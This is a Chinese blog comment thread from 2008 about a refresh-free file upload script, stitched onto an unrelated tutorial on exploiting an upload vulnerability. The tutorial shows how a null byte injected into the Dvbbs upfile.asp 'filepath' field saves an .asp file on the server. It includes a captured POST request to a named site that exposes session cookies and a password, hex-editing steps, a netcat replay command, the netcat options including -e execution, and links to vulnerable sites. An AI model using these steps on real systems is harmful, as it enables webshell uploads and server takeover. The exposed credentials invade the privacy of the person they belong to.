在本地测试无组件上传类上传大文件可以,在服务器上就不行,仿163网盘无刷新文件上传系统...

回复  引用  查看     2008-10-20 11:03 | fkeuem

真的很不错。谢谢。

回复  引用  查看     2008-10-20 11:20 | PuserChen

下载了,学习下! 多谢搂主

回复  引用  查看     2008-10-20 11:23 | guojing

为什么不使用AJAX+上传控件呢 也可以实现无刷新

回复  引用  查看     2008-10-20 11:44 | cloudgamer

@一线风

@fkeuem

@PuserChen

谢谢支持

@guojing

AJAX+上传控件其实也是相同的原理

你也可以用啊,我这里没有讨厌控件的意思啊

这里只是教大家怎么自己动手做这个功能

回复  引用  查看     2008-10-20 13:07 | 吴畏

我是新手,对下面代码有些不解

var Class = {

create: function() {

return function() {

this.initialize.apply(this, arguments);

}

}

}

var FileUpload = Class.create();

FileUpload.prototype = {

//表单对象,文件控件存放空间

initialize: function(form, folder, options) {}}

Class.create() return的是一个Function对象,为什么网上的资料说Class.create()的是一个类,到底javascript里面的类是什么样的概念,望解答,谢谢

回复  引用  查看     2008-10-20 13:47 | cloudgamer

@吴畏

js的类其实就是Function对象

因为js没有真正的类,只是用Function对象模拟的

回复  引用  查看     2008-10-20 13:56 | 王国金

谢谢楼主的无限!

下过来,可以用在项目中。呵呵。

回复  引用  查看     2008-10-20 14:33 | 克隆

不错,记号!

回复  引用  查看     2008-10-20 14:38 | Charles Chen

--引用--------------------------------------------------

guojing: 为什么不使用AJAX+上传控件呢 也可以实现无刷新

--------------------------------------------------------

asp.net ajax中用UpdatePanel异步回传中用上传控件好像后台无法访问到上传控件中的值呢?有什么好的解决方案呢?请各位指教?

回复  引用  查看     2008-10-20 15:40 | 花香

下载下来试了下,总是出现 "名称以无效字符开头"的javascript错误

,麻烦看下

文件路径是

C:\Documents and Settings\Administrator\桌面\1.jpg

回复  引用  查看     2008-10-20 15:50 | cloudgamer

@王国金

@克隆

谢谢支持

@Charles Chen

这个我也不清楚,因为我都没用过

@花香

这个不是js错误,你去google一下吧

因为我这里没有出现这个问题

可能是你的iis处理ashx文件时出现问题

回复  引用  查看     2008-10-20 17:33 | ghd2004

不错!

3Q

回复  引用  查看     2008-10-21 00:02 | cloudgamer

@ghd2004

谢谢支持

回复  引用  查看     2008-10-21 20:00 | 一舟

greate!

回复  引用  查看     2008-10-21 21:21 | OOLi

很好,谢谢,可以学到好多东西啊,我是新手,谢谢

回复  引用  查看     2008-10-21 21:22 | OOLi

为什么有的地方用两个!!啊

回复  引用  查看     2008-10-21 21:44 | OOLi

新手,请问 var a=function(){};

和a:function(){}有什么区别啊,后面这种形式什么时侯用到啊,谢谢啊

回复  引用  查看     2008-10-21 23:15 | cloudgamer

@一舟

@OOLi

谢谢支持

用!!是为了保证返回的是bool值

var a=function(){};效果跟function a(){}类似

a:function(){}是用在对象结构中,例如:

var b={a:function(){}}

回复  引用     2008-10-22 10:18 | humbass [未注册用户]

能不能写个asp的示例啊

回复  引用     2008-10-22 12:32 | 来客 [未注册用户]

不错学习

回复  引用  查看     2008-10-22 16:02 | cloudgamer

@humbass

@来客

谢谢支持

asp实例已经放出

回复  引用  查看     2008-10-22 17:16 | jolboy

好东西!佩服!

回复  引用  查看     2008-10-22 17:25 | 倾叶枫城

学习了,谢谢

回复  引用  查看     2008-10-22 19:39 | cloudgamer

@jolboy

@倾叶枫城

谢谢支持

回复  引用  查看     2008-10-23 08:58 | Jon.Hong

支持大文件吗?

回复  引用  查看     2008-10-23 09:00 | cloudgamer

@Jon.Hong

这个没研究

估计太大的不行

回复  引用  查看     2008-10-23 10:48 | 张玉峰

呵呵,很不错的东东呀,大文件主要是IIS的限制吧

回复  引用  查看     2008-10-23 11:12 | cloudgamer

@张玉峰

大文件上传显示进度条网上有文章介绍

但没找到实例

那位兄弟有的话发一份给我吧

回复  引用  查看     2008-10-23 14:22 | 小老好

不错,晚上回家在看看!

回复  引用  查看     2008-10-23 18:35 | cloudgamer

@小老好

谢谢支持

回复  引用  查看     2008-10-24 15:41 | 漂零

大哥,太强了。学习

回复  引用     2008-10-25 10:57 | gdjlc [未注册用户]

感觉楼主的每篇文章都很经典,忍不住进来赞一句~~

回复  引用     2008-10-25 11:13 | 进来学习 [未注册用户]

下载下来试了下,总是出现 "名称以无效字符开头"的javascript错误

,麻烦看下

文件路径是

C:\Documents and Settings\Administrator\桌面\1.jpg

-----------------------------------------------

我也一样啊,直接打开点"上传"没反应.

把它放在VS在打开,点"上传"后一直显示上传的loading.gif图片,等了四五分钟还是在上传中,请LZ发发慈悲看一下 :)

(是.NET版本的)

回复  引用     2008-10-25 11:21 | 进来学习 [未注册用户]

知道原因了,是自己太懒了,没去仔细看代码,

//保存文件 file.SaveAs(System.Web.HttpContext.Current.Server.MapPath("./file/" + Path.GetFileName(file.FileName)));

这里的路径改为自己的就行了...

回复  引用  查看     2008-10-25 19:37 | 兴百放

不错,不错,有时间可以交流一下

回复  引用  查看     2008-10-25 21:44 | cloudgamer

@漂零

@gdjlc

@兴百放

@进来学习

谢谢支持

回复  引用  查看     2008-10-25 23:23 | 愚公-

【asp版本补充】

由于很多人问我asp版本的后台该如何写,所以决定写一个给大家。

这里我用了化境HTTP上传程序2.1版(应该是最新版了)的无组件上传类,但用的时候发现几个问题(不知是我不会用还是asp本身的问题):

1,当file控件的name是空时,后台会找不到文件;

◆没有name的话,浏览器不会发送文件数据。

2,文件名比较短时(例如我用"f"),后台也找不到文件;

◆这个是程序错误,或者你用的无组件上传类有BUG

3,当有多个file控件,如果使用相同的name,后台只会保存一个文件;

◆网上流传的各种ASP无组件上传类共同的BUG,需要手动修改,改为多个同名控件时存为数组。

4,我在上传文件后输出的中文是乱码(有时又正常)。

◆你程序的字符集问题。明确指定响应字符集,切源文件保存的编码与响应字符集一致,就没问题。

回复  引用  查看     2008-10-25 23:36 | cloudgamer

@愚公-

.net的例子就是没有name的也能发送哦

回复  引用     2008-10-26 09:03 | 举荐 [未注册用户]

其实jsp般也和file的name无关的,大家可以试试啊

回复  引用  查看     2008-10-26 17:28 | cloudgamer

@举荐

有没有name,file都会传送到后台

关键是后台如何获取这个文件

回复  引用     2008-10-28 09:44 | loo [未注册用户]

问下楼主的jsp版本都实现了什么功能,可不可以 就是在本地浏览个文件 然后点击上传,然后就上传到服务器的制定目录上?

回复  引用  查看     2008-10-28 10:37 | cloudgamer

@loo

可以的啊

这个系统就是实现这个功能

记得修改文件保存路径

回复  引用     2008-10-29 13:42 | 学习生 [未注册用户]

为什么我下的。NET没办法上传?

其他的都可以,如ASP的都可以,

回复  引用  查看     2008-10-29 13:51 | cloudgamer

@学习生

看看路径有没有问题

我写的版本是asp.net 2.0的

还有就是看看是不是机器配置问题,因为其他人都能正常运行的

回复  引用     2008-10-29 15:02 | springhcq [未注册用户]

有机会要多向您学习

如果不嫌弃,可以加我为好友:123347564

回复  引用     2008-10-29 17:24 | wei_wei [未注册用户]

ASP版本有BUG,无法自动命名文件名,上传两个(含)以上的文件,提示上传完成,但其实一个文件都没上传。

回复  引用  查看     2008-10-29 21:12 | cloudgamer

@springhcq

一起学习

不过我不怎么上q,有什么问题可以留言

@wei_wei

我试了一下

没问题啊

你确定你下的是asp版而且没有修改程序?

回复  引用     2008-10-30 00:09 | conqweal [未注册用户]

谢谢LZ的贡献精神;

不过FLASH结合支持多个文件直接选取,

似乎是未来的方向.

回复  引用  查看     2008-10-30 00:26 | cloudgamer

@conqweal

FLASH跟js不是同一个东西

我觉得没必要把这两个东西进行比较

各自都有自己的发展的

回复  引用  查看     2008-11-02 15:52 | Freedom~Jun

文章不错,收藏慢慢看

回复  引用  查看     2008-11-03 15:54 | 张荣华

@cloudgamer

关于iframe的创建其实可以不用浏览器检测,可以利用innerHTML属性来完成:

var frameContainer = document.createElement('div'); //创建一个用来放frame的空div

frameContainer.innerHTML = ' ';

document.body.appendChild(frameContainer);

回复  引用     2008-11-03 16:45 | 测试566 [未注册用户]

上传中文文件名的文件,虽上传成功,单文件名变成乱码了,如何解决!

回复  引用  查看     2008-11-03 23:00 | cloudgamer

@Freedom~Jun

谢谢支持

@测试566

这个可能是前后台编码不一致的问题,你可以统一一下编码,或者后台重新定一个名也可以

@张荣华

这样就要加一个div

还是不太好

回复  引用     2008-11-04 15:35 | Fans [未注册用户]

var Each = function(list, fun){

for (var i = 0, len = list.length; i < len; i++) { fun(list[i], i); }

};

朋友 你能不能给我说下这句话的作用,还有一般什么时候用? 有什么好处!麻烦了

回复  引用  查看     2008-11-04 16:17 | cloudgamer

@Fans

就是对list数组的每个元素作为fun函数的参数执行一次

这样说明白吗

回复  引用     2008-11-04 17:01 | 张帅 [未注册用户]

JSP版的读不到文件流呀,在file.jsp中的第一个while循环就退出了,这是怎么回事。

回复  引用  查看     2008-11-04 17:44 | cloudgamer

@张帅

这个别人测试过应该可以的

因为我不懂jsp也没办法解答你

回复  引用     2008-11-05 10:46 | 张帅1 [未注册用户]

@cloudgamer

哦~!

回复  引用     2008-11-06 14:21 | bopo [未注册用户]

你好,我想问一下,我运行.NET实例一无法添加文件,一看提示我已存在该文件,可是什么都没有啊。我清除缓存就是重启的没有变化,请问是什么问题,如何解决?

回复  引用  查看     2008-11-06 14:36 | cloudgamer

@张帅1

呵呵

@bopo

但我这里测试没发现这个问题啊

确定没修改我的程序?

回复  引用     2008-11-06 15:31 | bopo [未注册用户]

是啊。 没有添加任何代码。

就是直接运行你提供的.NET实例。

回复  引用     2008-11-06 15:36 | bopo [未注册用户]

对了,我使用的是IE8。

会不会程序在这个环境下有什么问题。

回复  引用     2008-11-06 15:55 | Fans [未注册用户]

兄弟

var Each = function(list, fun){

for (var i = 0, len = list.length; i < len; i++) { fun(list[i], i); }

};

是不是直接产生闭包了呢?

还有我想知道您博客的预览功能是怎么弄的?

回复  引用     2008-11-06 16:00 | bopo [未注册用户]

下面这句是判断是否有相同文件吧?

if(o.value == file.value){ bCheck = false; }

我分别alert(o.value),alert(file.value)

看到他们两值却是一样,可是我是添加第一个文件呢。

回复  引用  查看     2008-11-06 16:08 | cloudgamer

@bopo

ie8的话我就没测试过了

你在这里的效果预览中有没有这个情况

你用ff试试

@Fans

我想你的理解是对的,主要还是想省点代码

至于预览功能,这个blog本身就可以直接贴html代码

回复  引用     2008-11-06 16:35 | bopo [未注册用户]

一、转了台机方试了试,确实IE8下有问题啊~

二、FF我也试了,文件倒是能上传成功(我到目录下去看以存在),但是界面还是一直停在请等待。

回复  引用  查看     2008-11-06 17:12 | cloudgamer

@bopo

我用ff3和ie7测试过

没有问题哦

回复  引用  查看     2008-11-06 18:26 | 谢小妹

好的,记下了!!!

回复  引用     2008-11-08 15:17 | own [未注册用户]

谢谢

回复  引用     2008-11-08 15:18 | own [未注册用户]

以后多多交流!我的q是105940137

回复  引用     2008-11-09 22:09 | 小可66 [未注册用户]

不错 支持一下

回复  引用     2008-11-11 09:40 | noihsi [未注册用户]

很不错的效果,只是提交页面给程序员的时候,他们说不能跟 JSP 后台连接上,真是有点晕!!多谢!!

回复  引用  查看     2008-11-11 10:36 | cloudgamer

@谢小妹

@own

@小可66

谢谢支持

@noihsi

jsp应该也行的

详细看例子吧我不怎么懂jsp

回复  引用     2008-11-14 14:31 | poisson123 [未注册用户]

在FileUpload.prototype的initialize定义中

this.Distinct = !!this.options.Distinct

为什么前面要打两个!非?

可不可以直接

this.Distinct = this.options.Distinct;代替呢?

回复  引用  查看     2008-11-14 14:48 | cloudgamer

@poisson123

用!!可以保证返回的是bool值

回复  引用     2008-11-15 20:18 | qingren [未注册用户]

怎么写进数据库啊????????????

回复  引用     2008-11-15 20:20 | 多多大人 [未注册用户]

我发现发上传的都不能重新命名,如果是重名,就只保存最后一个

回复  引用  查看     2008-11-16 00:29 | cloudgamer

@qingren

写什么进数据库?

@多多大人

不知你是说哪个版本

我这里是直接用原来的文件名作为文件名

你可以在程序中改名再保存文件的

回复  引用     2008-11-19 13:56 | hier [未注册用户]

我有个问题,asp.net开发的时候上传一般不会在一个htm页面上,如果一个aspx页套用了模板页,请问怎么将aspx;form里面的action指向'ashx'文件了?!

回复  引用  查看     2008-11-19 14:13 | cloudgamer

@hier

生成的页面的form肯定有一个id的

你把这个id作为实例化的参数并用js修改它的action

不过之后页面就不能正常提交了

回复  引用     2008-11-19 14:44 | hier [未注册用户]

呵呵,楼主东西做的很好,但是更多的应该想想应用方面的要不只能当"花瓶"了。

回复  引用  查看     2008-11-19 15:02 | cloudgamer

@hier

也不是花瓶啊

这是我们开发的网盘的文件上传部分

asp.net开发也不是不要html啊

而且也可以用其他方法绕过提交的问题

例如插入一个新的form作为提交form,或者把文件上传页面作为iframe插入等等

而且我后台方面很菜,说不定从后台的方向想有好的解决方法(例如弄成一个控件什么的)

我想这里只是一个例子教学,运用时还是自己多思考一下吧

回复  引用  查看     2008-11-22 08:51 | fengsky491

学习了。

问问怎么收藏博主的文章,嘿嘿。。。

回复  引用  查看     2008-11-23 00:01 | amingo

我现在有这样一个需求:

针对每一个附件有一个附件类型字段,比如:工作报告,问题总结等。

这就需要在每添加一个附件时,旁边要有一个下拉菜单来选择附加类型。

但如何将附件和这个附件的类型一起action到提交页面呢??而且附件和类型要一一对应。

回复  引用  查看     2008-11-23 00:20 | Hunts.C

哇塞,顶~!

回复  引用  查看     2008-11-23 01:56 | cloudgamer

@fengsky491

@Hunts.C

谢谢支持

@amingo

这个我确实没想到很好的方法

我有一个思路是添加一个file后

根据file的value添加一个类型选择,例如把value作为类型选择的name

这样提交到后台后就能用FileName获取对应的类型数据

不过没有实践过不是是否可行

回复  引用     2008-11-25 17:25 | 木木1983 [未注册用户]

无奈啊...多文件同时上传.为什么只成功一个..我倒....

回复  引用  查看     2008-11-25 19:14 | cloudgamer

@木木1983

你说的是哪个版本

回复  引用     2008-11-28 14:38 | 剑无名 [未注册用户]

看了博主的文章,很受用。我利用博主此文实现的效果,结合DWR做了一个JAVA版的无刷新上传,在仿网盘效果之上加入了上传进度条的功能,在这里打个广告:http://blog.163.com/linlong0613@126/blog/static/625258562008102804829960/。希望对java开发的朋友有帮助。谢谢博主大哥的辛勤劳动!

回复  引用  查看     2008-11-28 16:10 | Daniel_Wu

喜欢简单的方法。

回复  引用     2008-12-01 01:07 | dragon_zhang [未注册用户]

jsp的路径那里是不是必须给绝对路径,我给了相对路径怎么不好使!

回复  引用  查看     2008-12-01 08:23 | cloudgamer

@Daniel_Wu

@dragon_zhang

谢谢支持

你把相对路径转成绝对路径就行了

jsp应该有这样的方法吧

我不太懂jsp

回复  引用     2008-12-01 14:39 | 我是小菜 [未注册用户]

请问怎么设置文件大小的限制啊

回复  引用     2008-12-01 14:48 | 我是小菜 [未注册用户]

请楼主帮帮忙,谢谢

回复  引用  查看     2008-12-01 15:06 | cloudgamer

@我是小菜

由于安全问题文件大小一般来说在客户端是不能检测得到的,如果是图片的话可以用下面这个方法获取(ie6)

回复  引用     2008-12-01 20:08 | 我是小菜 [未注册用户]

首先感谢楼主的回复,在您没有回复的时候,我自己试了一下这个

var fso = new ActiveXObject('Scripting.FileSystemObject');

var file1 = fso.GetFile(file.value);

file1.Size 就能返回,但这存在安全性的问题,必须在IE的安全里把“没有设为安全的active”那个启用,所以还是楼主高,呵呵,我在现在代码的基础上加了一Length和onLength,向你学习

回复  引用  查看     2008-12-02 08:23 | cloudgamer

@我是小菜

那个一般客户端都是禁止的

所以一般行不通

回复  引用  查看     2008-12-03 17:32 | shawnliu

qiang

回复  引用  查看     2008-12-04 15:14 | 醉春风

楼主写的这个不错。

有一个小地方,“添加文件”按钮问题。IE8中又变成了“浏览”字样。

回复  引用  查看     2008-12-04 15:31 | cloudgamer

@shawnliu

@醉春风

谢谢支持

这个ie8的问题因为我没有ie8也测试不了

而且ie8正式版都还没出呢

到时再看吧

上传漏洞终结篇 一、写在前面 ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本*** NC(Netcat)   用于提交数据包   DOS界面下运行:   NC -vv www.***.com 80<1.txt   -vv: 回显   80: www端口   1.txt: 就是你要发送的数据包  (更多使用方法请查看本区的帖子) WSE(WSockExpert)   对本机端口的监视,抓取IE提交的数据包  (不会用的就自己到网上搜资料N多) 二、漏洞原理 下面例子假设的前提 www主机: www.***.com; bbs路径 : /bbs/ 漏洞源于对动网上传文件的研究,建议有一定编程经验的 看看Dvbbs的upfile.asp文件,没有必要全部看懂 upfile是通过生成一个form表上传,如下 <form name="form" method="post" action="upfile.asp" ...> <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上传" ...></form> 用到的变量: filepath 默认值uploadface 属性hiden act   默认值upload   属性hiden file1  就是你要传的那个文件 关键是 filepath 这个变量! 默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 文件是用你的上传时间命名的,就是upfile里的这一句 FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt ------------------------------------------------------------------------- 我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道 char data[]="bbs" 这个data数组长度是4: b b s \0 如果我们构造filepath如下,会怎么样呢? filepath="/newmm.asp\0" 我们在2004.09.24.08.24传的文件就会发生变化 没有改时: http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时: http://www.***.com/newmm.asp\0/200409240824.jpg 这样当服务器接收filepath数据时,检测到newmm.asp后面的\0 就理解为filepath的数据就结束了 这样我们上传的文件,比如c:\1.asp 就保存成: http://www.***.com/newmm.asp 三、后期补充 漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行 有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个 上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 而且很对网站的插件里有似的漏洞,我要说的不要依赖哪些专门的工具 自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。 就算他加N个hiden变量也于事无补。 当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 就是我们的新理论诞生的时候! 四、漏洞列表 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746 监听外部主机     NC [-options] hostname port[s] [ports] ... 监听本地主机     NC -l -p port [options] [hostname] [port] options:     -d       detach from console, stealth mode     -e prog     inbound program to exec [dangerous!!]     -g gateway   source-routing hop point[s], up to 8     -G num     source-routing pointer: 4, 8, 12, ...     -h       this cruft     -i secs     delay interval for lines sent, ports scanned     -l       listen mode, for inbound connects     -L       listen harder, re-listen on socket close     -n       numeric-only IP addresses, no DNS     -o file     hex dump of traffic     -p port     local port number     -r       randomize local and remote ports     -s addr     local source address     -t       answer TELNET negotiation     -u       UDP mode     -v       verbose [use twice to be more verbose]     -w secs     timeout for connects and final net reads     -z       zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] 详细实例: --------------------------------------------------------------------------------- 一、WSE抓包结果(存到1.txt里): POST /bbs/upPhoto/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.xin126.com/bbs/upPhoto/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Host: www.xin126.com Content-Length: 1969 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84 -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" ../medias/myPhoto/ -----------------------------7d423a138d0278 ... ... 上传 -----------------------------7d423a138d0278-- --------------------------------------------------------------------------------- 二、UltraEdit打开1.txt改数据: ...... -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" /newmm.asp█         <===这个黑色代表一个空格是 0x20,改成0x00就可以了 ...... --------------------------------------------------------------------------------- 三、重新计算cookies长度,然后nc提交 Nc -vv www.xin126.com 80 <1.txt UltraEdit是一个16位编辑器网上可以下载得到 我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H 其实你改的时候就直接再filepath的结尾处加个00就OK了 计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了 ...... Host: www.xin126.com Content-Length: 1969 <======就是这个 Connection: Keep-Alive Cache-Control: no-cache ...... 计算会吧?一个字母、数字就是1 对于上传漏洞提出的解决思路:(仅供参考) 1、一般的上传是把上传路径作为一个变量来处理 ===>我们的对策就是把filepath变成常量。。。 这个方法是目前最有效的(我认为的) 2、加强对于\0的处理,原来我们是读到这里就结束 我们继续读直道下一个变量开始的地方,处理就OK了
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值